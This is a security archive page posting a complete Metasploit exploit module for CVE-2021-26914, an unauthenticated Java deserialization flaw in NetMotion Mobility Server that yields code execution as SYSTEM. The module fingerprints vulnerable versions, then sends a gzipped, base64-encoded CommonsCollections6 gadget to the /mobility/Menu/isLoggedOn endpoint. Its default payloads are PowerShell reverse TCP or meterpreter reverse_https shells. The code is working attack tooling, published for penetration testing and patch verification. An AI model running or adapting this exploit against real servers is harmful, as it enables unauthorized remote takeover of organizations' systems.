NetMotion Mobility Server MvcUtil Java Deserialization

Authored by mr_me, wvu | Site metasploit.com

Posted May 18, 2021

This Metasploit module exploits an unauthenticated Java deserialization in the NetMotion Mobility server's MvcUtil.valueStringToObject() method, as invoked through the /mobility/Menu/isLoggedOn endpoint, to execute code as the SYSTEM account. Mobility server versions 11.x before 11.73 and 12.x before 12.02 are vulnerable. Tested against 12.01.09045 on Windows Server 2016.

tags | exploit, java
systems | windows
advisories | CVE-2021-26914
SHA-256 | 98d5e63a61fd5e20065bed1c5d49729a43d215ca4759d51680b7ba3f830ad751 Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::JavaDeserialization
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'NetMotion Mobility Server MvcUtil Java Deserialization',
        'Description' => %q{
          This module exploits an unauthenticated Java deserialization in the
          NetMotion Mobility server's MvcUtil.valueStringToObject() method, as
          invoked through the /mobility/Menu/isLoggedOn endpoint, to execute
          code as the SYSTEM account.

          Mobility server versions 11.x before 11.73 and 12.x before 12.02 are
          vulnerable. Tested against 12.01.09045 on Windows Server 2016.
        },
        'Author' => [
          'mr_me', # Discovery and PoC
          'wvu' # Module
        ],
        'References' => [
          ['CVE', '2021-26914'],
          ['URL', 'https://ssd-disclosure.com/ssd-advisory-netmotion-mobility-server-multiple-deserialization-
of-untrusted-data-lead-to-rce/'],
          ['URL', 'https://www.netmotionsoftware.com/security-advisories/security-vulnerability-in-mobility-
web-server-november-19-2020'],
          ['URL', 'https://srcincite.io/advisories/src-2021-0007/']
        ],
        'DisclosureDate' => '2021-02-08', # Public disclosure
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => true,
        'Targets' => [
          [
            'Command',
            {
              'Arch' => ARCH_CMD,
              'Type' => :cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
              }
            }
          ],
          [
            'Dropper',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :dropper,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_https'
              }
            }
          ],
          [
            'PowerShell',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :psh,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_https'
              }
            }
          ]
        ],
        'DefaultTarget' => 2,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [
            IOC_IN_LOGS, # C:\Program Files\NetMotion Server\logs
            ARTIFACTS_ON_DISK # CmdStager
          ]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    )

    unless (version = parse_version(res))
      return CheckCode::Unknown('Failed to parse version from response.')
    end

    unless vuln_version?(version)
      return CheckCode::Safe("NetMotion Mobility #{version} is patched.")
    end

    CheckCode::Appears("NetMotion Mobility #{version} is unpatched.")
  end

  def parse_version(res)
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 201 files
Ubuntu 78 files
Debian 24 files
LiquidWorm 23 files
malvuln 12 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 8 files
T. Weber 4 files
Julien Ahrens 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
    return unless res&.code == 200

    # <img src='/images/menu_logo.png?version=12.01.09045' alt='Mobility' border='0' class='navLogo'>
    res.get_html_document.at('//img[@alt = "Mobility"]/@src').to_s[
      %r{^/images/menu_logo\.png\?version=(?<version>[\d.]+)$},
      :version # Hat tip @adfoster-r7
    ]
  end

  def vuln_version?(version)
    @vuln_versions ||=
      (11.0...11.73).step(0.01) + # 11.0 through 11.72
      (12.0...12.02).step(0.01) # 12.0 through 12.01

    @vuln_versions.include?(version.to_f)
  end

  def exploit
    print_status("Executing #{payload_instance.refname} (#{target.name})")

    case target['Type']
    when :cmd
      execute_command(payload.encoded)
    when :dropper
      execute_cmdstager
    when :psh
      execute_command(
        cmd_psh_payload(
          payload.encoded,
          payload.arch.first,
          remove_comspec: true
        )
      )
    end
  end

  def execute_command(cmd, _opts = {})
    # XXX: %Path% is otherwise *only* C:\Program Files\NetMotion Server
    cmd.prepend(
      'set Path=%Path%;' \
      'C:\Windows\System32' \
      ';' \
      'C:\Windows\System32\WindowsPowerShell\v1.0' \
      '&&'
    )

    print_status('Triggering deserialization')
    vprint_status("Executing command: #{cmd}")

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/mobility/Menu/isLoggedOn'),
      'vars_post' => {
        'Mvc_x_Form_x_Name' => go_go_gadget(cmd)
      }
    )

    unless res&.code == 200 && res.body == 'false' # If JSESSIONID is missing
      fail_with(Failure::PayloadFailed, 'Failed to trigger deserialization')
    end

    print_good('Successfully triggered deserialization')
  end

  def go_go_gadget(cmd)
    Rex::Text.encode_base64(
      Rex::Text.gzip(
        generate_java_deserialization_for_command(
          'CommonsCollections6',
          'cmd', # cmd.exe
          cmd
        )
      )
    )
  end

end
```


Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other